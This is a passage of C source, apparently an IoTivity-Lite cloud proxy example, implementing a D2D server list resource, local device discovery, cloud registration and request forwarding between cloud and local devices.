* unregister resources
*
* @param di di to be checked (not NULL terminated)
* @param len length of di
*/
STATIC bool
unregister_resources(const char *di, int len)
{
(void)len;
oc_resource_t *res = NULL;
res = find_resource(di);
while (res != NULL) {
// delete the resource
oc_ri_delete_resource(res);
// get a next one if exist
res = find_resource(di);
}
return true;
}
/**
* post method for "d2dserverlist" resource.
* The function has as input the request body, which are the input values of the
* POST method. The input values (as a set) are checked if all supplied values
* are correct. If the input values are correct, they will be assigned to the
* global property values. Resource Description: The Mediator provisions the
* D2DServerList Resource with Device ID of the D2D Device. When the Cloud Proxy
* receives this request it retrieves '/oic/res' of the D2D Device, and then The
* Cloud Proxy completes a new entry of 'd2dserver' object with the contents of
* the RETRIEVE Response and adds it to D2DServerList Resource.
*
* /d2dserverlist?di=00000000-0000-0000-0000-000000000001
*
* @param request the request representation.
* @param interfaces the used interfaces during the request.
* @param user_data the supplied user data.
*/
STATIC void
post_d2dserverlist(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)interfaces;
(void)user_data;
bool error_state = true;
OC_PRINTF("-- Begin post_d2dserverlist:\n");
int stored_index = 0;
// oc_rep_t* rep = request->request_payload;
// di is a query param, copy from DELETE.
bool stored = false;
const char *_di = NULL; /* not null terminated */
const char *_scan = NULL; /* not null terminated */
/* do a scan to all devices */
int _scan_len = oc_get_query_value(request, "scan", &_scan);
if (_scan_len > 0) {
OC_PRINTF(" Send multicast discovery\n");
issue_requests_all();
oc_send_response(request, OC_STATUS_CHANGED);
return;
}
int _di_len = oc_get_query_value(request, "di", &_di);
if (_di_len != -1) {
/* input check
* ^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$
*/
OC_PRINTF(" query value 'di': %.*s\n", _di_len, _di);
if (if_di_exist(_di, _di_len) == false) {
// di value is not listed yet, so add it
strncpy(g_d2dserverlist_di, _di, _di_len);
OC_PRINTF(" New di %s\n", g_d2dserverlist_di);
error_state = false;
stored_index = find_empty_slot();
if (stored_index >= 0) {
strncpy(g_d2dserverlist_d2dserverlist[stored_index].di, _di, _di_len);
stored = true;
OC_PRINTF(" storing at %d \n", stored_index);
list_udn();
} else {
OC_PRINTF(" full, not stored \n");
list_udn();
}
} else {
OC_PRINTF(" DI exist, no error, returning existing list\n");
error_state = false;
stored = true;
list_udn();
}
}
/* if the input is ok, then process the input document and assign the global
* variables */
if (error_state == false) {
/* set the response */
OC_PRINTF("Set response \n");
oc_rep_start_root_object();
/* property (array of objects) 'd2dserverlist' */
OC_PRINTF(" Array of strings : '%s'\n",
g_d2dserverlist_RESOURCE_PROPERTY_NAME_d2dserverlist);
oc_rep_set_key(oc_rep_object(root), "dis");
oc_rep_begin_array(oc_rep_object(root), dis);
for (int i = 0; i < MAX_ARRAY; i++) {
if (strlen(g_d2dserverlist_d2dserverlist[i].di) > 0) {
oc_rep_add_text_string(dis, g_d2dserverlist_d2dserverlist[i].di);
OC_PRINTF(" DI: '%s'\n", g_d2dserverlist_d2dserverlist[i].di);
}
}
oc_rep_end_array(oc_rep_object(root), dis);
oc_rep_end_root_object();
if (stored == true) {
oc_send_response(request, OC_STATUS_CHANGED);
/* do a new discovery so that the new device will be added */
issue_requests(g_d2dserverlist_d2dserverlist[stored_index].di);
} else {
OC_PRINTF("MAX array exceeded, not stored, returing error \n");
oc_send_response(request, OC_STATUS_INTERNAL_SERVER_ERROR);
}
} else {
OC_PRINTF(" Returning Error \n");
/* TODO: add error response, if any */
oc_send_response(request, OC_STATUS_BAD_REQUEST);
}
OC_PRINTF("-- End post_d2dserverlist\n");
}
/**
* delete method for "d2dserverlist" resource.
* Resource Description:
* The Mediator can remove a specific d2dserver entry for maintenance purpose
*
* @param request the request representation.
* @param interfaces the used interfaces during the request.
* @param user_data the supplied user data.
*/
STATIC void
delete_d2dserverlist(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)request;
(void)interfaces;
(void)user_data;
bool error_state = true;
OC_PRINTF("-- Begin delete_d2dserverlist:\n");
list_udn();
/* query name 'di' type: 'string'*/
const char *_di = NULL; /* not null terminated */
int _di_len = oc_get_query_value(request, "di", &_di);
if (_di_len != -1) {
/* input check
* ^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$
*/
/* TODO: use the query value to tailer the response*/
OC_PRINTF(" query value 'di': %.*s\n", _di_len, _di);
if (if_di_exist(_di, _di_len)) {
// remove it
OC_PRINTF(" FOUND = TRUE \n");
// remove the resources that are registered..
bool unregister = unregister_resources(_di, _di_len);
OC_PRINTF(" unregister resources of di: %s\n", btoa(unregister));
// remove the di of the d2d server list
bool removed = remove_di(_di, _di_len);
OC_PRINTF(" Removed di: %s\n", btoa(removed));
error_state = false;
}
}
if (error_state == false) {
oc_send_response(request, OC_STATUS_OK);
} else {
oc_send_response(request, OC_STATUS_BAD_OPTION);
}
OC_PRINTF("-- End delete_d2dserverlist\n");
}
/**
* register all the resources to the stack
* this function registers all application level resources:
* - each resource path is bind to a specific function for the supported methods
* (GET, POST, PUT)
* - each resource is
* - secure
* - observable
* - discoverable
* - used interfaces, including the default interface.
* default interface is the first of the list of interfaces as specified in
* the input file
*/
STATIC void
register_resources(void)
{
OC_PRINTF("Register Resource with local path \"d2dserverlist\"\n");
oc_resource_t *res_d2dserverlist =
oc_new_resource(NULL, g_d2dserverlist_RESOURCE_ENDPOINT,
g_d2dserverlist_nr_resource_types, 0);
OC_PRINTF(" number of Resource Types: %d\n",
g_d2dserverlist_nr_resource_types);
for (int a = 0; a < g_d2dserverlist_nr_resource_types; a++) {
OC_PRINTF(" Resource Type: \"%s\"\n", g_d2dserverlist_RESOURCE_TYPE[a]);
oc_resource_bind_resource_type(res_d2dserverlist,
g_d2dserverlist_RESOURCE_TYPE[a]);
}
oc_resource_bind_resource_interface(res_d2dserverlist,
OC_IF_BASELINE); /* oic.if.baseline */
oc_resource_bind_resource_interface(res_d2dserverlist,
OC_IF_RW); /* oic.if.rw */
oc_resource_set_default_interface(res_d2dserverlist, OC_IF_RW);
OC_PRINTF(" Default OCF Interface: 'oic.if.rw'\n");
oc_resource_set_discoverable(res_d2dserverlist, true);
/* periodic observable
to be used when one wants to send an event per time slice
period is 1 second */
// oc_resource_set_periodic_observable(res_d2dserverlist, 1);
/* set observable
events are send when oc_notify_observers(oc_resource_t *resource) is
called. this function must be called when the value changes, preferable on
an interrupt when something is read from the hardware. */
/*oc_resource_set_observable(res_d2dserverlist, true); */
oc_resource_set_request_handler(res_d2dserverlist, OC_DELETE,
delete_d2dserverlist, NULL);
oc_resource_set_request_handler(res_d2dserverlist, OC_GET, get_d2dserverlist,
NULL);
oc_resource_set_request_handler(res_d2dserverlist, OC_POST,
post_d2dserverlist, NULL);
// no cloud registration.
// only local device registration
oc_add_resource(res_d2dserverlist);
oc_cloud_add_resource(res_d2dserverlist);
oc_resource_t *device_resource = oc_core_get_resource_by_index(OCF_D, 0);
oc_resource_set_observable(device_resource, false);
oc_resource_t *platform_resource = oc_core_get_resource_by_index(OCF_P, 0);
oc_resource_set_observable(platform_resource, false);
}
#ifdef OC_SECURITY
#ifdef OC_SECURITY_PIN
static void
random_pin_cb(const unsigned char *pin, size_t pin_len, void *data)
{
(void)data;
OC_PRINTF("\n====================\n");
OC_PRINTF("Random PIN: %.*s\n", (int)pin_len, pin);
OC_PRINTF("====================\n");
}
#endif /* OC_SECURITY_PIN */
#endif /* OC_SECURITY */
#if 0
static void
factory_presets_cb(size_t device, void *data)
{
(void)device;
(void)data;
#if defined(OC_SECURITY) && defined(OC_PKI)
/* code to include an pki certificate and root trust anchor */
#ifdef MANUFACTORER_PKI
#include "oc_pki.h"
#include "pki_certs.h"
int credid =
oc_pki_add_mfg_cert(0, (const unsigned char *)my_cert, strlen(my_cert),
(const unsigned char *)my_key, strlen(my_key));
if (credid < 0) {
OC_PRINTF("ERROR installing PKI certificate\n");
} else {
OC_PRINTF("Successfully installed PKI certificate\n");
}
if (oc_pki_add_mfg_intermediate_cert(0, credid, (const unsigned char *)int_ca,
strlen(int_ca)) < 0) {
OC_PRINTF("ERROR installing intermediate CA certificate\n");
} else {
OC_PRINTF("Successfully installed intermediate CA certificate\n");
}
if (oc_pki_add_mfg_trust_anchor(0, (const unsigned char *)root_ca,
strlen(root_ca)) < 0) {
OC_PRINTF("ERROR installing root certificate\n");
} else {
OC_PRINTF("Successfully installed root certificate\n");
}
oc_pki_set_security_profile(0, OC_SP_BLACK, OC_SP_BLACK, credid);
#endif /* MANUFACTORER_PKI */
#else
OC_PRINTF("No PKI certificates installed\n");
#endif /* OC_SECURITY && OC_PKI */
}
#endif
#ifdef OC_SECURITY
/**
* intializes the global variables
* registers and starts the handler
*/
STATIC void
initialize_variables(void)
{
/* initialize global variables for resource "d2dserverlist" */
/* initialize array "d2dserverlist" : This Property maintains the list of the
* D2D Device's connection info i.e. {Device ID, Resource URI, end points} */
memset((void *)&g_d2dserverlist_d2dserverlist, 0,
sizeof(g_d2dserverlist_d2dserverlist));
memset((void *)discovered_server, 0, sizeof(discovered_server));
strcpy(g_d2dserverlist_di, ""); /* current value of property "di" Format
pattern according to IETF RFC 4122. */
/* set the flag for NO oic/con resource. */
oc_set_con_res_announced(false);
}
#endif /* OC_SECURITY */
/**
* check if the resource type is a vertical resource.
* if it is a vertical resource: it will be registered in the cloud
*
* @param resource_type the resource type (rt).
*/
STATIC bool
is_vertical(char *resource_type)
{
int size_rt = (int)strlen(resource_type);
if (strncmp(resource_type, "oic.d.", 6) == 0)
return false;
// these should be false, but they are in the clear, so usefull for debugging.
if (size_rt == 10 && strncmp(resource_type, "oic.wk.res", 10) == 0)
return true;
if (size_rt == 8 && strncmp(resource_type, "oic.wk.p", 8) == 0)
return true;
if (size_rt == 8 && strncmp(resource_type, "oic.wk.d", 8) == 0)
return true;
if (size_rt == 11 && strncmp(resource_type, "oic.r.roles", 11) == 0)
return false;
if (size_rt == 10 && strncmp(resource_type, "oic.r.cred", 10) == 0)
return false;
if (size_rt == 11 && strncmp(resource_type, "oic.r.pstat", 11) == 0)
return false;
if (size_rt == 10 && strncmp(resource_type, "oic.r.doxm", 10) == 0)
return false;
if (size_rt == 9 && strncmp(resource_type, "oic.r.sdi", 9) == 0)
return false;
if (size_rt == 9 && strncmp(resource_type, "oic.r.ael", 9) == 0)
return false;
#if defined(OC_SECURITY)
if (size_rt == 9 && strncmp(resource_type, OCF_SEC_CSR_RT, 9) == 0)
return false;
#endif /* OC_SECURITY */
if (size_rt == 10 && strncmp(resource_type, "oic.r.acl2", 10) == 0)
return false;
if (size_rt == 8 && strncmp(resource_type, "oic.r.sp", 8) == 0)
return false;
#ifdef OC_INTROSPECTION
if (size_rt == 20 &&
strncmp(resource_type, "oic.wk.introspection", 20) == 0) {
return false;
}
#endif /* OC_INTROSPECTION */
if (size_rt == 19 && strncmp(resource_type, "oic.r.coapcloudconf", 19) == 0)
return false;
// add the d2d serverlist
// if (size_rt == 19 && strncmp(resource_type, "oic.r.d2dserverlist", 19) ==
// 0)
// return true; // return false;
return true;
}
/**
* Call back for the "GET" to the local device
* note that the user data contains the delayed response information
*
* @param data the client response
*/
STATIC void
get_local_resource_response(oc_client_response_t *data)
{
oc_rep_t *value_list = NULL;
oc_separate_response_t *delay_response;
delay_response = data->user_data;
OC_PRINTF(" <== get_local_resource_response: \n");
OC_PRINTF(" RESPONSE: ");
oc_parse_rep(data->_payload, (int)data->_payload_len, &value_list);
print_rep(value_list, false);
free(value_list);
memcpy(delay_response->buffer, data->_payload, (int)data->_payload_len);
delay_response->len = data->_payload_len;
oc_send_separate_response(delay_response, data->code);
// delete the allocated memory in get_resource
free(delay_response);
}
/**
* Call back for the "GET" from the cloud
* will invoke a GET to the local device
*
* @param request the request
* @param interfaces The interfaces for the GET call
* @param user_data the user data supplied with the callback
*/
STATIC void
get_resource(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)interfaces;
(void)user_data;
char query_as_string[MAX_URI_LENGTH * 2] = "";
char url[MAX_URI_LENGTH * 2];
char local_url[MAX_URI_LENGTH * 2];
char local_udn[OC_UUID_LEN * 2];
oc_endpoint_t *local_server;
oc_separate_response_t *delay_response = NULL;
delay_response = malloc(sizeof(oc_separate_response_t));
memset(delay_response, 0, sizeof(oc_separate_response_t));
strcpy(url, oc_string(request->resource->uri));
OC_PRINTF(" ==> get_resource %s", url);
url_to_udn(url, local_udn);
local_server = is_udn_listed(local_udn);
url_to_local_url(url, local_url);
OC_PRINTF(" local udn: %s\n", local_udn);
OC_PRINTF(" local url: %s\n", local_url);
if (request->query_len > 0) {
strncpy(query_as_string, request->query, request->query_len);
OC_PRINTF(" query : %s\n", query_as_string);
}
oc_set_separate_response_buffer(delay_response);
oc_indicate_separate_response(request, delay_response);
oc_do_get(local_url, local_server, query_as_string,
&get_local_resource_response, LOW_QOS, delay_response);
OC_PRINTF(" DISPATCHED\n");
}
/**
* Call back for the "POST" to the proxy device
* note that the user data contains the delayed response information
*
* @param data the client response
*/
STATIC void
post_local_resource_response(oc_client_response_t *data)
{
oc_rep_t *value_list = NULL;
oc_separate_response_t *delay_response;
delay_response = data->user_data;
OC_PRINTF(" <== post_local_resource_response: \n");
OC_PRINTF(" RESPONSE: ");
oc_parse_rep(data->_payload, (int)data->_payload_len, &value_list);
print_rep(value_list, false);
free(value_list);
memcpy(delay_response->buffer, data->_payload, (int)data->_payload_len);
delay_response->len = data->_payload_len;
oc_send_separate_response(delay_response, data->code);
// delete the allocated memory in get_resource
free(delay_response);
}
/**
* Call back for the "POST" to the proxy device
*
* @param request the request
* @param interfaces The interfaces for the GET call
* @param user_data the user data supplied with the callback
*/
STATIC void
post_resource(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)request;
(void)interfaces;
(void)user_data;
oc_rep_t *value_list = NULL;
char query_as_string[MAX_URI_LENGTH * 2] = "";
char url[MAX_URI_LENGTH * 2];
char local_url[MAX_URI_LENGTH * 2];
char local_udn[OC_UUID_LEN * 2];
oc_endpoint_t *local_server;
const uint8_t *payload = NULL;
size_t len = 0;
oc_content_format_t content_format;
oc_separate_response_t *delay_response = NULL;
delay_response = malloc(sizeof(oc_separate_response_t));
memset(delay_response, 0, sizeof(oc_separate_response_t));
strcpy(url, oc_string(request->resource->uri));
OC_PRINTF(" ==> post_resource %s", url);
url_to_udn(url, local_udn);
local_server = is_udn_listed(local_udn);
url_to_local_url(url, local_url);
OC_PRINTF(" local udn: %s\n", local_udn);
OC_PRINTF(" local url: %s\n", local_url);
if (request->query_len > 0) {
strncpy(query_as_string, request->query, request->query_len);
OC_PRINTF(" query : %s\n", query_as_string);
}
bool berr =
oc_get_request_payload_raw(request, &payload, &len, &content_format);
OC_PRINTF(" raw buffer ok: %s\n", btoa(berr));
int err = oc_parse_rep(payload, (int)len, &value_list);
OC_PRINTF(" REQUEST data: %d %d \n", (int)len, err);
print_rep(value_list, false);
free(value_list);
OC_PRINTF(" REQUEST 2222: \n");
print_rep(request->request_payload, false);
oc_set_separate_response_buffer(delay_response);
oc_indicate_separate_response(request, delay_response);
if (oc_init_post(local_url, local_server, query_as_string,
&post_local_resource_response, LOW_QOS, delay_response)) {
// copy over the data
oc_rep_encode_raw(payload, len);
if (oc_do_post())
OC_PRINTF("Sent POST request\n");
else
OC_PRINTF("Could not send POST request\n");
} else
OC_PRINTF("Could not init POST request\n");
OC_PRINTF(" DISPATCHED\n");
// clean up...
// free(payload);
}
/**
* Call back for the "DELETE" to the local device
* note that the user data contains the delayed response information
*
* @param data the client response
*/
STATIC void
delete_local_resource_response(oc_client_response_t *data)
{
oc_rep_t *value_list = NULL;
oc_separate_response_t *delay_response;
delay_response = data->user_data;
OC_PRINTF(" <== delete_local_resource_response: \n");
OC_PRINTF(" RESPONSE: ");
oc_parse_rep(data->_payload, (int)data->_payload_len, &value_list);
print_rep(value_list, false);
free(value_list);
memcpy(delay_response->buffer, data->_payload, (int)data->_payload_len);
delay_response->len = data->_payload_len;
oc_send_separate_response(delay_response, data->code);
// delete the allocated memory in get_resource
// free(delay_response);
}
/**
* Call back for the "DELETE" from the cloud
* will invoke a DELETE to the local device
*
* @param request the request
* @param interfaces The interfaces for the GET call
* @param user_data the user data supplied with the callback
*/
STATIC void
delete_resource(oc_request_t *request, oc_interface_mask_t interfaces,
void *user_data)
{
(void)request;
(void)interfaces;
(void)user_data;
(void)interfaces;
(void)user_data;
char query_as_string[MAX_URI_LENGTH * 2] = "";
char url[MAX_URI_LENGTH * 2];
char local_url[MAX_URI_LENGTH * 2];
char local_udn[OC_UUID_LEN * 2];
oc_endpoint_t *local_server;
oc_separate_response_t *delay_response = NULL;
delay_response = malloc(sizeof(oc_separate_response_t));
memset(delay_response, 0, sizeof(oc_separate_response_t));
strcpy(url, oc_string(request->resource->uri));
OC_PRINTF(" ==> delete_resource %s", url);
url_to_udn(url, local_udn);
local_server = is_udn_listed(local_udn);
url_to_local_url(url, local_url);
OC_PRINTF(" local udn: %s\n", local_udn);
OC_PRINTF(" local url: %s\n", local_url);
if (request->query_len > 0) {
strncpy(query_as_string, request->query, request->query_len);
OC_PRINTF(" query : %s\n", query_as_string);
}
oc_set_separate_response_buffer(delay_response);
oc_indicate_separate_response(request, delay_response);
oc_do_delete(local_url, local_server, query_as_string,
&delete_local_resource_response, LOW_QOS, delay_response);
OC_PRINTF(" DISPATCHED\n");
}
/**
* The discovery callback, per discovered resource
* will invoke a DELETE to the local device
*
* @param anchor the anchor of the resource
* @param uri the uri of the discoverd resource
* @param types the resource types belonging to the resource
* @param iface_mask the interfaces supported by the resource
* @param endpoint the endpoints of the resource
* @param bm the resource properties
* @param user_data the user data supplied to callback
* this can contain the UDN that is added to the d2dserverlist
*/
STATIC oc_discovery_flags_t
discovery(const char *anchor, const char *uri, oc_string_array_t types,
oc_interface_mask_t iface_mask, const oc_endpoint_t *endpoint,
oc_resource_properties_t bm, bool x, void *user_data)
{
(void)user_data;
(void)bm;
(void)x;
int i;
char url[MAX_URI_LENGTH];
char this_udn[200];
char d2d_udn[200] = "";
char udn_url[200];
int nr_resource_types = 0;
strcpy(d2d_udn, "");
if (user_data != NULL) {
strcpy(d2d_udn, (char *)user_data);
}
anchor_to_udn(anchor, this_udn);
bool is_added_current_device = false;
if (strcmp(this_udn, d2d_udn) == 0) {
is_added_current_device = true;
}
#ifdef PROXY_ALL_DISCOVERED_DEVICES
// make sure that the discovered device is handled
is_added_current_device = true;
strcpy(d2d_udn, this_udn);
#endif
OC_PRINTF(" discovery: (cb) '%s' %d (this) '%s'\n", d2d_udn,
is_added_current_device, this_udn);
OC_PRINTF(" -- (a) '%s' (uri) '%s'\n", anchor, uri);
size_t uri_len = strlen(uri);
uri_len = (uri_len >= MAX_URI_LENGTH) ? MAX_URI_LENGTH - 1 : uri_len;
nr_resource_types = (int)oc_string_array_get_allocated_size(types);
for (i = 0; i < nr_resource_types; i++) {
char *t = oc_string_array_get_item(types, i);
if (is_vertical(t)) {
OC_PRINTF(" discovery: To REGISTER resource type: %s\n", t);
OC_PRINTF(" discovery: Resource %s hosted at endpoints:\n", uri);
const oc_endpoint_t *ep = endpoint;
while (ep != NULL) {
char uuid[OC_UUID_LEN] = { 0 };
oc_uuid_to_str(&ep->di, uuid, OC_UUID_LEN);
OC_PRINTF(" di = %s\n", uuid);
OC_PRINTF(" ");
OC_PRINTipaddr(*ep);
OC_PRINTF("\n");
ep = ep->next;
}
// search for the secure endpoint, so that it can be stored
ep = endpoint; // start of the list
while ((ep != NULL) && !(ep->flags & SECURED)) {
ep = ep->next;
}
if (ep != NULL) {
OC_PRINTF(" discovery secure endpoint on UDN '%s' :\n", this_udn);
OC_PRINTF(" secure: ");
OC_PRINTipaddr(*ep);
OC_PRINTF("\n");
// make a copy, so that we can store it in the array to find it back
// later.
oc_endpoint_t *copy = (oc_endpoint_t *)malloc(sizeof(oc_endpoint_t));
oc_endpoint_copy(copy, ep);
/* update the end point, it might have changed*/
int index = is_udn_listed_index(this_udn);
if (index != -1) {
// add new server to the list
OC_PRINTF(" discovery: UPDATING UDN '%s'\n", this_udn);
/* free existing endpoint */
free(discovered_server[index]);
/* add the newly copied endpoint*/
discovered_server[index] = copy;
} else {
if (is_added_current_device) {
index = find_empty_slot();
if (index != -1) {
// add new server to the list
OC_PRINTF(" discovery: ADDING UDN '%s'\n", this_udn);
discovered_server[index] = copy;
strcpy(g_d2dserverlist_d2dserverlist[index].di, this_udn);
} else {
OC_PRINTF(" discovery: NO SPACE TO STORE: '%s'\n", this_udn);
}
}
}
} /* ep is NULL */
// make uri as url NULL terminated
strncpy(url, uri, uri_len);
url[uri_len] = '\0';
// make extended url with local UDN as prefix
strcpy(udn_url, "/");
strcat(udn_url, this_udn);
strcat(udn_url, url);
if (is_added_current_device) {
OC_PRINTF(" discovery: Register Resource with local path \"%s\"\n",
udn_url);
oc_resource_t *new_resource =
oc_new_resource(udn_url, udn_url, nr_resource_types, 0);
for (int j = 0; j < nr_resource_types; j++) {
oc_resource_bind_resource_type(new_resource,
oc_string_array_get_item(types, j));
}
if (iface_mask & OC_IF_BASELINE) {
OC_PRINTF(" IF BASELINE\n");
oc_resource_bind_resource_interface(
new_resource, OC_IF_BASELINE); /* oic.if.baseline */
}
if (iface_mask & OC_IF_LL) {
OC_PRINTF(" IF LL\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_LL); /* oic.if.ll */
oc_resource_set_default_interface(new_resource, OC_IF_LL);
}
if (iface_mask & OC_IF_CREATE) {
OC_PRINTF(" IF CREATE\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_CREATE); /* oic.if.create */
// oc_resource_set_default_interface(new_resource, OC_IF_CREATE);
}
if (iface_mask & OC_IF_B) {
OC_PRINTF(" IF B\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_B); /* oic.if.b */
// oc_resource_set_default_interface(new_resource, OC_IF_B);
}
if (iface_mask & OC_IF_R) {
OC_PRINTF(" IF R\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_R); /* oic.if.r */
oc_resource_set_default_interface(new_resource, OC_IF_R);
}
if (iface_mask & OC_IF_RW) {
OC_PRINTF(" IF RW\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_RW); /* oic.if.rw */
oc_resource_set_default_interface(new_resource, OC_IF_RW);
}
if (iface_mask & OC_IF_A) {
OC_PRINTF(" IF A\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_A); /* oic.if.a */
oc_resource_set_default_interface(new_resource, OC_IF_A);
}
if (iface_mask & OC_IF_S) {
OC_PRINTF(" IF S\n");
oc_resource_bind_resource_interface(new_resource,
OC_IF_S); /* oic.if.S */
oc_resource_set_default_interface(new_resource, OC_IF_S);
}
/* set the generic callback for the new resource */
oc_resource_set_request_handler(new_resource, OC_DELETE,
delete_resource, NULL);
oc_resource_set_request_handler(new_resource, OC_GET, get_resource,
NULL);
oc_resource_set_request_handler(new_resource, OC_POST, post_resource,
NULL);
// set resource to not discoverable, so that it does listed in the proxy
// device
oc_resource_set_discoverable(new_resource, false);
// add the resource to the device
bool add_err = oc_add_resource(new_resource);
// add the resource to the cloud
int retval = oc_cloud_add_resource(new_resource);
OC_PRINTF(" discovery ADDED resource '%s' to cloud : %d\n",
(char *)btoa(add_err), retval);
} /* adding current device, e.g. add the resource to the cloud RD */
} /* is vertical */
} /* if loop */
return OC_CONTINUE_DISCOVERY;
}
#ifdef OC_DOXM_UUID_FILTER
static void
doxm_discovery_cb(oc_client_response_t *response)
{
// a device has responded to the (potentially) UUID-filtered multicast DOXM
// request. all we need from this request is the IP address of the responder
oc_do_ip_discovery_all_at_endpoint(discovery, response->endpoint,
response->user_data);
}
#endif /* OC_DOXM_UUID_FILTER */
/**
* issue a discovery request
*
* @param current_udn the current udn as user data for the discovery callback
*/
void
issue_requests(char *current_udn)
{
#ifdef OC_DOXM_UUID_FILTER
char query[12 + OC_UUID_LEN] = "deviceuuid=";
strcat(query, current_udn);
oc_do_site_local_ipv6_multicast("/oic/sec/doxm", query, doxm_discovery_cb,
current_udn);
#else /* !OC_DOXM_UUID_FILTER */
oc_do_site_local_ipv6_discovery_all(&discovery, current_udn);
oc_do_realm_local_ipv6_discovery_all(&discovery, current_udn);
#ifdef OC_IPV4
oc_do_ip_discovery_all(&discovery, current_udn);
#endif /* OC_IPV4 */
#endif /* OC_DOXM_UUID_FILTER */
// oc_do_ip_discovery_all(& discovery, NULL);
// oc_do_ip_discovery("oic.wk.res", &discovery, NULL);
}
/**
* issue a discovery request
* no user data supplied (e.g. NULL)
*/
void
issue_requests_all(void)
{
OC_PRINTF("issue_requests_all: Discovery of all devices \n");
#ifdef OC_DOXM_UUID_FILTER
oc_do_site_local_ipv6_multicast("/oic/sec/doxm", NULL, doxm_discovery_cb,
NULL);
#else /* !OC_DOXM_UUID_FILTER */
oc_do_site_local_ipv6_discovery_all(&discovery, NULL);
oc_do_realm_local_ipv6_discovery_all(&discovery, NULL);
#ifdef OC_IPV4
oc_do_ip_discovery_all(&discovery, NULL);
#endif /* OC_IPV4 */
#endif /* OC_DOXM_UUID_FILTER */
// oc_do_ip_discovery_all(& discovery, NULL);
// oc_do_ip_discovery("oic.wk.res", &discovery, NULL);
}
#ifndef NO_MAIN
#ifdef WIN32
/**
* signal the event loop (windows version)
* wakes up the main function to handle the next callback
*/
STATIC void
signal_event_loop(void)
{
WakeConditionVariable(&cv);
}
#endif /* WIN32 */
#ifdef __linux__
/**
* signal the event loop (Linux)
* wakes up the main function to handle the next callback
*/
STATIC void
signal_event_loop(void)
{
pthread_cond_signal(&cv);
}
#endif /* __linux__ */
/**
* handle Ctrl-C
* @param signal the captured signal
*/
STATIC void
handle_signal(int signal)
{
(void)signal;
quit = 1;
signal_event_loop();
}
#ifdef OC_CLOUD
/**
* cloud status handler.
* handler to print out the status of the cloud connection
*
* @param ctx the cloud context
* @param status the cloud status
* @param data the user data supplied to the callback
*/
STATIC void
cloud_status_handler(oc_cloud_context_t *ctx, oc_cloud_status_t status,
void *data)
{
(void)data;
OC_PRINTF("\nCloud Manager Status:\n");
if (status & OC_CLOUD_REGISTERED) {
OC_PRINTF("\t\t-Registered\n");
}
if (status & OC_CLOUD_TOKEN_EXPIRY) {
OC_PRINTF("\t\t-Token Expiry: ");
if (ctx != NULL) {
OC_PRINTF("%d\n", oc_cloud_get_token_expiry(ctx));
} else {
OC_PRINTF("\n");
}
}
if (status & OC_CLOUD_FAILURE) {
OC_PRINTF("\t\t-Failure\n");
}
if (status & OC_CLOUD_LOGGED_IN) {
OC_PRINTF("\t\t-Logged In\n");
/* issue start up request*/
// issue_requests_all();
}
if (status & OC_CLOUD_LOGGED_OUT) {
OC_PRINTF("\t\t-Logged Out\n");
}
if (status & OC_CLOUD_DEREGISTERED) {
OC_PRINTF("\t\t-DeRegistered\n");
}
if (status & OC_CLOUD_REFRESHED_TOKEN) {
OC_PRINTF("\t\t-Refreshed Token\n");
}
if (ctx != NULL) {
const char *at = oc_string(ctx->store.access_token);
OC_PRINTF(" AC = %s\n", at != NULL ? at : "");
const char *ap = oc_string(ctx->store.auth_provider);
OC_PRINTF(" AP = %s\n", ap != NULL ? ap : "");
const char *ci = oc_string(ctx->store.ci_server);
OC_PRINTF(" CI = %s\n", ci != NULL ? ci : "");
const char *uid = oc_string(ctx->store.uid);
OC_PRINTF(" UUID = %s\n", uid != NULL ? uid : "");
}
}
#endif // OC_CLOUD
#if defined(OC_SECURITY) && defined(OC_PKI)
/** read certificate in PEM format */
STATIC int
read_pem(const char *file_path, char *buffer, size_t *buffer_len)
{
FILE *fp = fopen(file_path, "r");
if (fp == NULL) {
OC_PRINTF("ERROR: unable to read PEM\n");
return -1;
}
if (fseek(fp, 0, SEEK_END) != 0) {
OC_PRINTF("ERROR: unable to read PEM\n");
fclose(fp);
return -1;
}
long pem_len = ftell(fp);
if (pem_len < 0) {
OC_PRINTF("ERROR: could not obtain length of file\n");
fclose(fp);
return -1;
}
if (pem_len > (long)*buffer_len) {
OC_PRINTF("ERROR: buffer provided too small\n");
fclose(fp);
return -1;
}
if (fseek(fp, 0, SEEK_SET) != 0) {
OC_PRINTF("ERROR: unable to read PEM\n");
fclose(fp);
return -1;
}
if (fread(buffer, 1, pem_len, fp) < (size_t)pem_len) {
OC_PRINTF("ERROR: unable to read PEM\n");
fclose(fp);
return -1;
}
fclose(fp);
buffer[pem_len] = '\0';
*buffer_len = (size_t)pem_len;
return 0;
}
#endif /* OC_SECURITY && OC_PKI */
/**
* factory reset callback: resetting device with cloud_ca trust anchors.
*
* @param device the device handle
* @param data the user date
*/
STATIC void
minimal_factory_presets_cb(size_t device, void *data)
{
(void)device;
(void)data;
#if defined(OC_SECURITY) && defined(OC_PKI)
unsigned char cloud_ca[4096];
size_t cert_len = 4096;
if (read_pem("pki_certs/cloudca.pem", (char *)cloud_ca, &cert_len) < 0) {
OC_PRINTF("ERROR: unable to read certificates\n");
return;
}
int rootca_credid =
oc_pki_add_trust_anchor(0, (const unsigned char *)cloud_ca, cert_len);
if (rootca_credid < 0) {
OC_PRINTF("ERROR installing root cert\n");
return;
}
#endif /* OC_SECURITY && OC_PKI */
}
#ifdef OC_SECURITY
/**
* callback when the server changes ownership
*
* @param device_uuid the new device ID
* @param device_index the index in the device list
* @param owned owned/unowned
*/
STATIC void
oc_ownership_status_cb(const oc_uuid_t *device_uuid, size_t device_index,
bool owned, void *user_data)
{
(void)user_data;
(void)device_index;
(void)owned;
char uuid[37] = { 0 };
oc_uuid_to_str(device_uuid, uuid, OC_UUID_LEN);
